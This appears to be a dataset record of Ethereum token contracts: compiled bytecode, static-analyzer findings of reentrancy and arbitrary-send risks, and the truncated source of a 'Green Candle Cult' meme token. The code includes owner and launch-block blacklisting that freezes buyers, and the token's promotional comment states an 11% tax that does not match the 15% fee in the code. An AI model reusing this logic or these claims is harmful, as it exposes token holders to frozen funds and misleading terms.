1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612fc8565b60405180910390fd5b60005b8151811015610ada576001600a6000848481518110610a6e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad29061339e565b915050610a26565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1f611284565b73ffffffffffffffffffffffffffffffffffffffff1614610b3f57600080fd5b6000610b4a30610766565b9050610b5581611e09565b50565b610b60611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612fc8565b60405180910390fd5b600f60149054906101000a900460ff1615610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490613048565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ccd30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1357600080fd5b505afa158015610d27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4b9190612955565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de59190612955565b6040518363ffffffff1660e01b8152600401610e02929190612e18565b602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e549190612955565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610edd30610766565b600080610ee861090a565b426040518863ffffffff1660e01b8152600401610f0a96959493929190612e6a565b6060604051808303818588803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5c9190612b01565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612e41565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612aaf565b5050565b6110bc611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612fc8565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612f88565b60405180910390fd5b6111bb60646111ad83683635c9adc5dea0000061210390919063ffffffff16565b61217e90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f29190613088565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390613028565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612f48565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144a9190613088565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90613008565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612f08565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612fe8565b60405180910390fd5b61158261090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f057506115c061090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5357600f60179054906101000a900460ff1615611823573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117265750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182257600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176c611284565b73ffffffffffffffffffffffffffffffffffffffff1614806117e25750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117ca611284565b73ffffffffffffffffffffffffffffffffffffffff16145b611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890613068565b60405180910390fd5b5b5b60105481111561183257600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d65750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118df57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f85750600f60179054906101000a900460ff165b15611a995742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4857600080fd5b603c42611a5591906131be565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa430610766565b9050600f60159054906101000a900460ff16158015611b115750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b295750600f60169054906101000a900460ff165b15611b5157611b3781611e09565b60004790506000811115611b4f57611b4e47611c7a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bfa5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0457600090505b611c10848484846121c8565b50505050565b6000838311158290611c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c559190612ee6565b60405180910390fd5b5060008385611c6d919061329f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cdd600a611ccf60048661210390919063ffffffff16565b61217e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d08573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6c600a611d5e60068661210390919063ffffffff16565b61217e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d97573d6000803e3d6000fd5b5050565b6000600654821115611de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd990612f28565b60405180910390fd5b6000611dec6121f5565b9050611e01818461217e90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e67577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e955781602001602082028036833780820191505090505b5090503081600081518110611ed3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f7557600080fd5b505afa158015611f89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fad9190612955565b81600181518110611fe7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120b29594939291906130a3565b600060405180830381600087803b1580156120cc57600080fd5b505af11580156120e0573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121165760009050612178565b600082846121249190613245565b90508284826121339190613214565b14612173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216a90612fa8565b60405180910390fd5b809150505b92915050565b60006121c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612220565b905092915050565b806121d6576121d5612283565b5b6121e18484846122b4565b806121ef576121ee61247f565b5b50505050565b6000806000612202612491565b91509150612219818361217e90919063ffffffff16565b9250505090565b60008083118290612267576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225e9190612ee6565b60405180910390fd5b50600083856122769190613214565b9050809150509392505050565b600060085414801561229757506000600954145b156122a1576122b2565b600060088190555060006009819055505b565b6000806000806000806122c6876124f3565b95509550955095509550955061232486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125a490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240581612602565b61240f84836126bf565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161246c9190613088565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea0000090506124c7683635c9adc5dea0000060065461217e90919063ffffffff16565b8210156124e657600654683635c9adc5dea000009350935050506124ef565b81819350935050505b9091565b600080600080600080600080600061250f8a600854600c6126f9565b925092509250600061251f6121f5565b905060008060006125328e87878761278f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c16565b905092915050565b60008082846125b391906131be565b9050838110156125f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ef90612f68565b60405180910390fd5b8091505092915050565b600061260c6121f5565b90506000612623828461210390919063ffffffff16565b905061267781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125a490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126d48260065461255a90919063ffffffff16565b6006819055506126ef816007546125a490919063ffffffff16565b6007819055505050565b6000806000806127256064612717888a61210390919063ffffffff16565b61217e90919063ffffffff16565b9050600061274f6064612741888b61210390919063ffffffff16565b61217e90919063ffffffff16565b905060006127788261276a858c61255a90919063ffffffff16565b61255a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a8858961210390919063ffffffff16565b905060006127bf868961210390919063ffffffff16565b905060006127d6878961210390919063ffffffff16565b905060006127ff826127f1858761255a90919063ffffffff16565b61255a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282b6128268461313d565b613118565b9050808382526020820190508285602086028201111561284a57600080fd5b60005b8581101561287a57816128608882612884565b84526020840193506020830192505060018101905061284d565b5050509392505050565b6000813590506128938161377b565b92915050565b6000815190506128a88161377b565b92915050565b600082601f8301126128bf57600080fd5b81356128cf848260208601612818565b91505092915050565b6000813590506128e781613792565b92915050565b6000815190506128fc81613792565b92915050565b600081359050612911816137a9565b92915050565b600081519050612926816137a9565b92915050565b60006020828403121561293e57600080fd5b600061294c84828501612884565b91505092915050565b60006020828403121561296757600080fd5b600061297584828501612899565b91505092915050565b6000806040838503121561299157600080fd5b600061299f85828601612884565b92505060206129b085828601612884565b9150509250929050565b6000806000606084860312156129cf57600080fd5b60006129dd86828701612884565b93505060206129ee86828701612884565b92505060406129ff86828701612902565b9150509250925092565b60008060408385031215612a1c57600080fd5b6000612a2a85828601612884565b9250506020612a3b85828601612902565b9150509250929050565b600060208284031215612a5757600080fd5b600082013567ffffffffffffffff811115612a7157600080fd5b612a7d848285016128ae565b91505092915050565b600060208284031215612a9857600080fd5b6000612aa6848285016128d8565b91505092915050565b600060208284031215612ac157600080fd5b6000612acf848285016128ed565b91505092915050565b600060208284031215612aea57600080fd5b6000612af884828501612902565b91505092915050565b600080600060608486031215612b1657600080fd5b6000612b2486828701612917565b9350506020612b3586828701612917565b9250506040612b4686828701612917565b9150509250925092565b6000612b5c8383612b68565b60208301905092915050565b612b71816132d3565b82525050565b612b80816132d3565b82525050565b6000612b9182613179565b612b9b818561319c565b9350612ba683613169565b8060005b83811015612bd7578151612bbe8882612b50565b9750612bc98361318f565b925050600181019050612baa565b5085935050505092915050565b612bed816132e5565b82525050565b612bfc81613328565b82525050565b6000612c0d82613184565b612c1781856131ad565b9350612c2781856020860161333a565b612c3081613474565b840191505092915050565b6000612c486023836131ad565b9150612c5382613485565b604082019050919050565b6000612c6b602a836131ad565b9150612c76826134d4565b604082019050919050565b6000612c8e6022836131ad565b9150612c9982613523565b604082019050919050565b6000612cb1601b836131ad565b9150612cbc82613572565b602082019050919050565b6000612cd4601d836131ad565b9150612cdf8261359b565b602082019050919050565b6000612cf76021836131ad565b9150612d02826135c4565b604082019050919050565b6000612d1a6020836131ad565b9150612d2582613613565b602082019050919050565b6000612d3d6029836131ad565b9150612d488261363c565b604082019050919050565b6000612d606025836131ad565b9150612d6b8261368b565b604082019050919050565b6000612d836024836131ad565b9150612d8e826136da565b604082019050919050565b6000612da66017836131ad565b9150612db182613729565b602082019050919050565b6000612dc96011836131ad565b9150612dd482613752565b602082019050919050565b612de881613311565b82525050565b612df78161331b565b82525050565b6000602082019050612e126000830184612b77565b92915050565b6000604082019050612e2d6000830185612b77565b612e3a6020830184612b77565b9392505050565b6000604082019050612e566000830185612b77565b612e636020830184612ddf565b9392505050565b600060c082019050612e7f6000830189612b77565b612e8c6020830188612ddf565b612e996040830187612bf3565b612ea66060830186612bf3565b612eb36080830185612b77565b612ec060a0830184612ddf565b979650505050505050565b6000602082019050612ee06000830184612be4565b92915050565b60006020820190508181036000830152612f008184612c02565b905092915050565b60006020820190508181036000830152612f2181612c3b565b9050919050565b60006020820190508181036000830152612f4181612c5e565b9050919050565b60006020820190508181036000830152612f6181612c81565b9050919050565b60006020820190508181036000830152612f8181612ca4565b9050919050565b60006020820190508181036000830152612fa181612cc7565b9050919050565b60006020820190508181036000830152612fc181612cea565b9050919050565b60006020820190508181036000830152612fe181612d0d565b9050919050565b6000602082019050818103600083015261300181612d30565b9050919050565b6000602082019050818103600083015261302181612d53565b9050919050565b6000602082019050818103600083015261304181612d76565b9050919050565b6000602082019050818103600083015261306181612d99565b9050919050565b6000602082019050818103600083015261308181612dbc565b9050919050565b600060208201905061309d6000830184612ddf565b92915050565b600060a0820190506130b86000830188612ddf565b6130c56020830187612bf3565b81810360408301526130d78186612b86565b90506130e66060830185612b77565b6130f36080830184612ddf565b9695505050505050565b60006020820190506131126000830184612dee565b92915050565b6000613122613133565b905061312e828261336d565b919050565b6000604051905090565b600067ffffffffffffffff82111561315857613157613445565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c982613311565b91506131d483613311565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613209576132086133e7565b5b828201905092915050565b600061321f82613311565b915061322a83613311565b92508261323a57613239613416565b5b828204905092915050565b600061325082613311565b915061325b83613311565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613294576132936133e7565b5b828202905092915050565b60006132aa82613311565b91506132b583613311565b9250828210156132c8576132c76133e7565b5b828203905092915050565b60006132de826132f1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061333382613311565b9050919050565b60005b8381101561335857808201518184015260208101905061333d565b83811115613367576000848401525b50505050565b61337682613474565b810181811067ffffffffffffffff8211171561339557613394613445565b5b80604052505050565b60006133a982613311565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133dc576133db6133e7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613784816132d3565b811461378f57600080fd5b50565b61379b816132e5565b81146137a657600080fd5b50565b6137b281613311565b81146137bd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365456c6f6e466c6f6b69207c20742e6d652f456c6f6e466c6f6b694f6666696369616ca2646970667358221220d42b07a13ac4d4ce1cdf0ed945f097f8930170df450dfde8999d77c82722c17064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,715 |
0xea2654a98868c46794e805e9ab003a1485ee3795
|
/*
The purpose of Green Candle Cult is the first meme token for Cult DAO. Our meme token is a very strongly rewardable meme token.
- What is Green Candle CULT?
Green Candle CULT is the tradable and liquid token of Green Candle CULT, transacting Green Candle CULT will contribute to the protocol by filling the reward treasury slowly. This is achieved due to a 11% tax on all Green Candle CULT transactions.
Play:
The biggest buy in of every 20 buy, we will send 0.05 ETH as reward.
The biggest buy in of every 200 buy, we will send 0.5 ETH as reward.
We will only award the single winner of the biggest buy. If there are two winners, none of them will be rewarded.
Green Candle:
Also, we will use 4% of each transaction to buy back and burn by technical analysis.
BECOME PART OF THE GREEN CANDLE CULT
https://greencandlecult.com/
https://t.me/greencandlecult
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract GULT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "GREEN CANDLE CULT";
string private constant _symbol = "GULT";
uint private constant _decimals = 9;
uint256 private _teamFee = 15;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount <= _tTotal.mul(3).div(1000));
require(amount.add(walletBalance) <= _tTotal.mul(15).div(1000));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
